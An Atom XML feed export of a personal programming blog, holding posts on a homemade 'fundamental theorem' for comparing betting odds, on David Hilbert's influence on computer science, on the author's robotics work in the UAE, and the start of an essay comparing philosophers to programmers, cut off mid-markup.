<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8823755788673864603</id><updated>2012-01-30T17:15:55.755-08:00</updated><category term='facebook'/><category term='flash'/><category term='computer science'/><category term='miscellaneous'/><category term='economics'/><category term='java'/><category term='news'/><category term='web'/><category term='php'/><category term='greece'/><category term='software'/><category term='programming'/><category term='perl'/><category term='puzzles'/><category term='source code'/><category term='mathematics'/><category term='microsoft'/><category term='.net'/><category term='games'/><category term='solutions'/><category term='philosophy'/><category term='google'/><title type='text'>Developer On Line</title><subtitle type='html'>The Last Post Will Prove That P!=NP</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://developeronline.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>64</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-7238819605860306464</id><published>2010-01-12T02:18:00.000-08:00</published><updated>2010-01-12T10:44:49.011-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='miscellaneous'/><category scheme='http://www.blogger.com/atom/ns#' term='mathematics'/><title type='text'>The Fundamental Theorem Of Betting</title><content type='html'>&lt;div style="text-align: justify;"&gt;I used two popular websites to get betting odds for the today's match between &lt;b&gt;Egypt &lt;/b&gt;and &lt;b&gt;Nigeria. &lt;/b&gt;Here are some odds from two example sites:&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;Site 1:    &lt;/i&gt;&lt;b&gt;&lt;i&gt;Egypt &lt;/i&gt;&lt;/b&gt;&lt;i&gt;(2.90) - &lt;/i&gt;&lt;b&gt;&lt;i&gt;X &lt;/i&gt;&lt;/b&gt;&lt;i&gt;(3.20) - &lt;/i&gt;&lt;b&gt;&lt;i&gt;Nigeria &lt;/i&gt;&lt;/b&gt;&lt;i&gt;(2.35)&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal; "&gt;&lt;i&gt;Site 2:    &lt;/i&gt;&lt;b&gt;&lt;i&gt;Egypt &lt;/i&gt;&lt;/b&gt;&lt;i&gt;(2.65) - &lt;/i&gt;&lt;b&gt;&lt;i&gt;X &lt;/i&gt;&lt;/b&gt;&lt;i&gt;(3.10)&lt;span class="Apple-style-span" style="font-style: normal; "&gt;&lt;i&gt;- &lt;/i&gt;&lt;b&gt;&lt;i&gt;Nigeria &lt;/i&gt;&lt;/b&gt;&lt;i&gt;(2.65)&lt;/i&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;img src="http://4.bp.blogspot.com/_PNe-bgIDyRw/S0y-OQqsUBI/AAAAAAAAASo/hH8FlTMkNYY/s320/soccerball.jpg" style="text-align: justify;float: right; margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 10px; cursor: pointer; width: 240px; height: 153px; " border="0" alt="" id="BLOGGER_PHOTO_ID_5425920803276083218" /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Which site of the two should be preferred over the other? Generally, how to compare the &lt;b&gt;attractiveness &lt;/b&gt;of different betting odds? In what follows, I am presenting what I call as the &lt;i&gt;"fu&lt;span class="Apple-style-span" style="font-style: normal; "&gt;&lt;i&gt;ndamental theorem of betting&lt;/i&gt;".&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Consider just the single game "&lt;i&gt;Egypt vs Nigeria&lt;/i&gt;" which has 3 possible turnouts: "&lt;i&gt;Egypt wins", "nobody wins" &lt;/i&gt;and &lt;i&gt;"Nigeria wins"&lt;/i&gt;. Let us also consider that we have a budget of &lt;b&gt;Δ &lt;/b&gt;dollars and that we split this sum to all three turnouts, betting &lt;b&gt;Δ1, Δ2 and Δ3 &lt;/b&gt;respectively. Finally, for every event, we expect to win some money, say &lt;b&gt;W1, W2 and W3&lt;/b&gt;. In general, we are just interested in winning more money than we spent ( Δ dollars), so for every event that might take place (e.g. &lt;i&gt;"Egypt wins"&lt;/i&gt; ) we might want &lt;b&gt;W1 &gt; Δ &lt;/b&gt;or &lt;b&gt;W2 &gt; Δ &lt;/b&gt;or&lt;b&gt; W3 &gt; Δ&lt;/b&gt;&lt;b&gt;. &lt;/b&gt;But we might want to ask: &lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;i&gt;Can&lt;/i&gt;&lt;/span&gt;&lt;i&gt; all of these &lt;/i&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;i&gt;inequalities hold&lt;/i&gt;&lt;/span&gt;&lt;/b&gt;? The obvious answer is &lt;b&gt;no&lt;/b&gt;. Otherwise, the booker would go bankrupt. Next, we have to ask: &lt;i&gt;What values &lt;span class="Apple-style-span" style="font-style: normal; "&gt;&lt;i&gt;do the &lt;/i&gt;&lt;b&gt;&lt;i&gt;W's &lt;/i&gt;&lt;/b&gt;&lt;i&gt;satisfy&lt;/i&gt;? It turns out that this is a linear function, with coefficients determined by the betting odds of the booker!&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Consider that we have a budget &lt;b&gt;Δ &lt;/b&gt;and we want to split this in &lt;b&gt;all k possible turnouts. &lt;/b&gt;Thus, we will have to pay &lt;b&gt;Δ1, Δ2,Δ3,..., and Δk &lt;/b&gt;respectively. For every turnout &lt;b&gt;i &lt;/b&gt;the booker provides a betting odd &lt;b&gt;Mi. &lt;/b&gt;This means that we will win &lt;b&gt;Wi = Mi * Δi, &lt;/b&gt;in case of this turnout. Finally, every profit has a specific ratio of the &lt;b&gt;whole budget Δ. &lt;/b&gt;This is the real profit since we are interested in making more money than we spent. For every turnout the profit will be denoted as: &lt;b&gt;Ai = Wi / Δ. &lt;/b&gt;One can easily see that:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;(A1/M1)+(A2/M2)+...+(Ak/Mk) = 1&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;For clearer inspection:&lt;/div&gt;&lt;br /&gt;&lt;img src="http://1.bp.blogspot.com/_PNe-bgIDyRw/S0yT3mzE_xI/AAAAAAAAASg/k8-H_7sVydo/s320/image.jpg" style="text-align: justify;display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; cursor: pointer; width: 240px; height: 175px; " border="0" alt="" id="BLOGGER_PHOTO_ID_5425874234591477522" /&gt;&lt;div style="text-align: justify;"&gt;This is what one could call the &lt;b&gt;"Fundamental Theorem Of Betting"&lt;/b&gt;. &lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Remember that the &lt;b&gt;μ's &lt;/b&gt;are the booker's betting odds and the &lt;b&gt;α's &lt;/b&gt;are the ratios of profit over the overall budget. For example, if we invested $&lt;b&gt;200 &lt;/b&gt;in total and &lt;b&gt;Α1&lt;/b&gt;&lt;b&gt; = 2.0 &lt;/b&gt;then if turnout #1 happened we would win 200x 2.0  = $400 and so on. &lt;b&gt; &lt;/b&gt;When an &lt;b&gt;α &lt;/b&gt;is greater than 1 this means that we won more than we invested in total and so we are interested in establishing &lt;b&gt;at least one α &lt;/b&gt;greater than 1.0. This means that it would be useful to consider one single quantity:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;M = (1/M1)+(1/M2)+(1/M3)+...+(1/Mk)&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;The following cases now exist:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;1) M &gt; 1.0&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;If this is the case then the booker is going bankrupt. Players can construct a set of &lt;b&gt;α's &lt;/b&gt;such that &lt;b&gt;all of them &lt;/b&gt;are greater or equal to 1.0. This means that&lt;b&gt; &lt;/b&gt;every player either wins &lt;b&gt;more than &lt;/b&gt;he spent in total &lt;b&gt;or he &lt;/b&gt;gets his money back (zero loss)&lt;/div&gt;&lt;img src="http://2.bp.blogspot.com/_PNe-bgIDyRw/S0zCEWpaLzI/AAAAAAAAASw/uT6mNySUJIM/s320/odds.jpg" style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 181px; height: 320px;" border="0" alt="" id="BLOGGER_PHOTO_ID_5425925031129132850" /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;2) M = 1.0&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;In this border case, the players can set all &lt;b&gt;α's &lt;/b&gt;to 1.0 and never suffer a loss. This is not very meaningful and players might try to disturb the ratios by increasing and decreasing some of the ratios. &lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;3) M &amp;lt; 1.0&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;This is expected to be much more frequent in real world betting odds. Players will have to decide how to distribute their bets.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;What's more important, the quantity &lt;b&gt;M &lt;/b&gt;can be used as a metric of how attractive the betting odds are. The greater the quantity M is, the better the odds are for the players. Going back to the example in the beginning we have:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;i&gt;Site 1:     M = (1/2.90)+(1/3.20)+(1/2.35) = 1.0828&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;i&gt;Site 2:     M = (1/2.65)+(1/3.10)+(1/2.65) =  1.0773&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;One can see with a single arithmetic comparison that &lt;i&gt;Site 1 &lt;/i&gt;gives slightly better margins for profits (&lt;i&gt;1.0828 is bigger&lt;/i&gt;) and it should be preferred to &lt;i&gt;Site 2&lt;/i&gt;. Even within the same book house, players should prefer games with higher M factors than others. The first step to a complete "Theory of Betting" has been made! &lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-7238819605860306464?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/7238819605860306464'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/7238819605860306464'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2010/01/fundamental-theorem-of-betting.html' title='The Fundamental Theorem Of Betting'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_PNe-bgIDyRw/S0y-OQqsUBI/AAAAAAAAASo/hH8FlTMkNYY/s72-c/soccerball.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-3583275743590042971</id><published>2009-12-17T11:32:00.000-08:00</published><updated>2009-12-19T14:08:27.902-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='computer science'/><title type='text'>The Most Influential Person On Computer Science</title><content type='html'>&lt;div style="text-align: justify;"&gt;Who was the most influential person on computer science (or computing if you prefer)? A web search is not particularly helpful. Most of the times, the pages I got were confusing CS with programming. However, to quote &lt;b&gt;Edsger Dijkstra&lt;/b&gt;, "&lt;i&gt;Computer Science is no more about computers, than astronomy is about telescopes&lt;/i&gt;".  Some names may come quickly to &lt;/div&gt;&lt;img src="http://2.bp.blogspot.com/_PNe-bgIDyRw/SyyU5IovHRI/AAAAAAAAASI/wjt1AQUw2v8/s320/hilbert.jpg" style="text-align: justify;float: right; margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 10px; cursor: pointer; width: 132px; height: 160px; " border="0" alt="" id="BLOGGER_PHOTO_ID_5416868161111661842" /&gt;&lt;div style="text-align: justify;"&gt;mind: Alan Turing, Church, Kleene etc, were all pivotal to the development of the computing science. But a deeper search can reveal the person who had the most critical impact: &lt;b&gt;David Hilbert&lt;/b&gt;.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Hilbert was a German mathematician who worked on an incredible range of subjects: number theory, logic, geometry and over to special relativity theory. Yet, it was not his direct contribution that matters, but the influence he had to others on working on the fundamentals of computation. And it all started by his zealous stance towards a deep philosophical debate of the "&lt;i&gt;ignoramus et &lt;span class="Apple-style-span" style="font-style: normal; "&gt;&lt;i&gt;ignorabimus&lt;/i&gt;". &lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal; "&gt;And now the story begins.&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Back in 1872 &lt;b&gt;Emil du-Bois Reymond &lt;/b&gt;was a well-respected physiologist with considerable work on electro-physiology, studying the electric "properties" of human and animal tissues. At this year, he publishes a paper in which he claims his philosophical belief of "&lt;i&gt;ignoramus et ignorabimus" (=we don't know and we won't know)&lt;/i&gt;. This was a slightly more pessimistic version of the well known Socratic view "&lt;i&gt;I know one thing; that I kno&lt;span class="Apple-style-span" style="font-style: normal; "&gt;&lt;i&gt;w nothing&lt;/i&gt;" but it was gaining acceptance through the philosophical circles at the time. The main point was that there are some stuff that humans do not know and they will never know (e.g. the origin of life or the universe) One might agree that it seems like a yet-another harmless philosophical idea. Some people were supporting it, others would be skeptical, but all in all, life would go on. But science was meant to take a dramatic turn because a man would take this debate to the extreme.&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;At that time David Hilbert was 10 years old. In subsequent years, through his work, he would confront deep philosophical problems, even within mathematics. However, the "&lt;i&gt;ignorabimus&lt;/i&gt;" movement had really hit his nerve. &lt;img src="http://upload.wikimedia.org/wikipedia/commons/d/d4/Sorbonne_17thc.jpg" style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 233px; height: 160px;" border="0" alt="" /&gt;In 1900, in the International Mathematics Conference in Paris, he addresses &lt;b&gt;a call to arms&lt;/b&gt; to mathematicians by claiming: "&lt;i&gt;in mathematics there is no ignrorabimus!&lt;/i&gt;". He uses mathematics to exterminate once and for all the pessimistic view, and claims that there should be a finite process of inference rules, that when applied, they would infer any correct statement. He then asks from mathematicians to help him in this direction (the 2nd problem in the problem list he announces at this speech was related)&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Almost 28 years later, in 1928, Hilbert poses yet another challenge: The &lt;i&gt;Entscheidung&lt;span class="Apple-style-span" style="font-style: normal; "&gt;&lt;i&gt;sproblem &lt;/i&gt;asks specifically for an algorithm that will be able to decide if a specific statement (e.g. 1+1=2) is true or not. During the 30's great things just start happening. In 1931, &lt;b&gt;Kurt G&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;b&gt;odel&lt;/b&gt; breaks the first problem with his ground-breaking theorem of &lt;i&gt;incompleteness. &lt;/i&gt;In short, most interesting systems, can either infer contradictory statements or they cannot infer some correct statements. Later, in 1936 and 1937 &lt;b&gt;Church&lt;/b&gt; and &lt;b&gt;Turing&lt;/b&gt; independently solve the last puzzle by proving that there are statements that cannot be proved or disproved. Hilbert's dream was shuttered but a new scientific field was born out of the proofs of these very problems! It is important to note here that, 5 years before his proof, Alonzo Church was in the famous&lt;b&gt; Gottingen University &lt;/b&gt;during the years 1929-1931, visiting...David Hilbert.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;img src="http://4.bp.blogspot.com/_PNe-bgIDyRw/SyyWNW94bgI/AAAAAAAAASY/bS4Ks8NoZmo/s320/turing.jpg" style="text-align: justify;float: right; margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 10px; cursor: pointer; width: 145px; height: 160px; " border="0" alt="" id="BLOGGER_PHOTO_ID_5416869608067460610" /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;But wait, there is more! It was not only theoretical computer science that was catalyzed by the influence of David Hilbert. The creation of the first general-purpose electronic computers would be pioneered by his &lt;b&gt;assistant&lt;/b&gt;. Even in &lt;b&gt;1942&lt;/b&gt;, one year before the &lt;b&gt;ENIAC&lt;/b&gt; project, Hilbert's former assistant in the University of Gottingen, would start an ambitious project of creating a general-purpose computer in the Institute of Advanced Studies at Princeton University, that ended in 1952. His work all these years marked the beginning of this era and his architecture is preserved more or less even in today's computers. His name was ...&lt;b&gt;John Von Neumann&lt;/b&gt;!&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Other than Hilbert, who else can claim of having a bigger impact on computer science?&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-3583275743590042971?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/3583275743590042971'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/3583275743590042971'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2009/12/most-influential-person-on-computer.html' title='The Most Influential Person On Computer Science'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_PNe-bgIDyRw/SyyU5IovHRI/AAAAAAAAASI/wjt1AQUw2v8/s72-c/hilbert.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-5953725285796670011</id><published>2009-08-05T04:45:00.000-07:00</published><updated>2009-08-05T06:53:25.129-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><category scheme='http://www.blogger.com/atom/ns#' term='software'/><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><title type='text'>Catching Up</title><content type='html'>An activity of 1 post per year, is hardly considered a blog. Yet, there is some good reason for that, and it is not &lt;i&gt;happiness &lt;/i&gt;as &lt;a href="http://scottaaronson.com/blog/?p=416"&gt;Aaronson puts it in his own recent post&lt;/a&gt;. From April, when &lt;a href="http://tech.slashdot.org/article.pl?sid=09/04/17/1536241"&gt;the last post was Slashdotted&lt;/a&gt;, I have never been in the mood for writing something, although there is actually some good potential material. Here is a short summary of the things that I have been doing since April, offering at the same time, a kind of apology to the readers of this &lt;i&gt;web column&lt;/i&gt;.&lt;div&gt;&lt;img src="http://1.bp.blogspot.com/_PNe-bgIDyRw/SnmOhCQd_3I/AAAAAAAAAR8/eeJgu4Tc9I8/s320/burj.jpg" style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 260px; height: 200px;" border="0" alt="" id="BLOGGER_PHOTO_ID_5366477129181429618" /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;In April, I moved to the Emirates, in a robotics laboratory (&lt;a href="http://www.hafeet.uaeu.ac.ae/irml/index.php?option=com_content&amp;amp;task=view&amp;amp;id=1&amp;amp;Itemid=1"&gt;IRML&lt;/a&gt;) near Dubai.We have been doing work on &lt;i&gt;human-robot interactions&lt;/i&gt;, and we have also been exploring how &lt;i&gt;social information &lt;/i&gt;can be used to make them more &lt;i&gt;meaningful. &lt;/i&gt;The project is called &lt;b&gt;Facebots&lt;/b&gt;, carried out by &lt;b&gt;&lt;a href="http://web.media.mit.edu/~nmav/"&gt;Nikolaos Mavridis&lt;/a&gt;, &lt;/b&gt;and funded by Microsoft's External Research. Mr Mavridis, is an MIT-graduate Medial Lab) and the founder and the director of the IRML laboratory of the University of the UAE. His innovative research lies in the intersection of virtual and physical worlds, and the lab he manages is the most advanced in the region and perhaps one of the best globally. Here are some highlights the work we did, which might be extended in subsequent posts.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;First there was the &lt;i&gt;first Arabic speaking interactive humanoid robot&lt;/i&gt;, which was programmed as part of a senior project in UAE. Our robot, was able to understand a set of keywords and perform a simple pre-scripted interaction with &lt;b&gt;gestures &lt;/b&gt;and &lt;b&gt;facial expressions, &lt;/b&gt;and all of this in Arabic. You can watch a demo of this interaction in the following video:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/IQUPVvaGQy4&amp;amp;hl=en&amp;amp;fs=1&amp;amp;"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/IQUPVvaGQy4&amp;amp;hl=en&amp;amp;fs=1&amp;amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Second, in the Facebots project, &lt;i&gt;Facebook &lt;/i&gt;was used in order to build rich and meaningful interactions. For example, the robot was able to harvest data from Facebook and gossip with humans, about mutual friends present in Facebook or in real life. In a&lt;i&gt; spin-off &lt;/i&gt;project, we researched how social information, like friendships, can assist face recognition tasks. The idea is that we tend to co-exist with friends in our photos. Results were encouraging and were published in relevant papers. Some of the prominent visitors in our lab, which also interacted with &lt;i&gt;Sarah Mobilero&lt;/i&gt;, the little &lt;i&gt;Facebots &lt;/i&gt;robot, were &lt;b&gt;&lt;a href="http://robotics.eecs.berkeley.edu/~sastry/"&gt;Shankar Sastry&lt;/a&gt;&lt;/b&gt;, Dean of Engineering at Berkeley, or the Ambassador of Canada in the UAE. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Both projects received some pretty wide media coverage, most notably with BBC's report on the &lt;i&gt;Ibn Sina &lt;/i&gt;humanoid robot. You may find &lt;a href="http://news.bbc.co.uk/2/hi/technology/8034190.stm"&gt;the BBC article here&lt;/a&gt;. In addition, several newspapers covered the &lt;i&gt;Facebots &lt;/i&gt;story with &lt;i&gt;The National, &lt;/i&gt;offering the most precise version in its UAE-wide pages. The article exists online and can be&lt;a href="http://www.thenational.ae/article/20090615/LIFE/706149988/1042/BUSINESS"&gt; found here&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Now, I am preparing for Harvard University, where I will be taking some graduate courses in Computer Science in the Fall term, and hopefully make the way for a graduate degree in CS or Applied Mathematics. Before moving to Boston though, I hope to recover and to be done with all the catching up, because come to thing about it, there are much more to say!  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-5953725285796670011?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/5953725285796670011'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/5953725285796670011'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2009/08/catching-up.html' title='Catching Up'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_PNe-bgIDyRw/SnmOhCQd_3I/AAAAAAAAAR8/eeJgu4Tc9I8/s72-c/burj.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-4089131381617215418</id><published>2009-04-15T15:17:00.000-07:00</published><updated>2010-02-12T09:23:42.757-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='software'/><category scheme='http://www.blogger.com/atom/ns#' term='philosophy'/><category scheme='http://www.blogger.com/atom/ns#' term='programming'/><category scheme='http://www.blogger.com/atom/ns#' term='computer science'/><title type='text'>If Philosophers Were Programmers</title><content type='html'>Although not obvious, philosophy actually has a strong relation with programming, at least for me. If you think about it, software code reflects much of how the developer perceives the problem and its solution. Before starting to program, developers spend some time thinking over the problem, identifying important properties and their underlying conne&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_PNe-bgIDyRw/SeaKo6g1BrI/AAAAAAAAAQM/if0mDjFU_hU/s1600-h/school_athens.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 242px; height: 179px;" src="http://1.bp.blogspot.com/_PNe-bgIDyRw/SeaKo6g1BrI/AAAAAAAAAQM/if0mDjFU_hU/s320/school_athens.jpg" alt="" id="BLOGGER_PHOTO_ID_5325096044918539954" border="0" /&gt;&lt;/a&gt;ctions, a process that reveals their philosophy as the way they perceive real-word situations. Likewise, philosophers are constantly trying to identify the most important properties of the issues they reflect on, like life, conscience or God.&lt;br /&gt;&lt;br /&gt;Under this perspective one might be able to make a consistent mapping of the ideas behind programming languages and the ideas that philosophers have come up over the years. It is perfectly reasonable to consider the programming languages as the &lt;span style="font-weight: bold;"&gt;different philosophies&lt;/span&gt; of a virtual world, in which entities &lt;span style="font-weight: bold;"&gt;do exist&lt;/span&gt; and &lt;span style="font-weight: bold;"&gt;interact&lt;/span&gt; with each other. To this respect, even the fundamental philosophical questions receive an interesting transformation: For example "&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;What is self-consc&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;ience?&lt;/span&gt;" &lt;/span&gt;can be rephrased as "&lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;What is &lt;a href="http://en.wikipedia.org/wiki/Reflection_%28computer_science%29"&gt;reflec&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Reflection_%28computer_science%29"&gt;tion&lt;/a&gt;?&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: 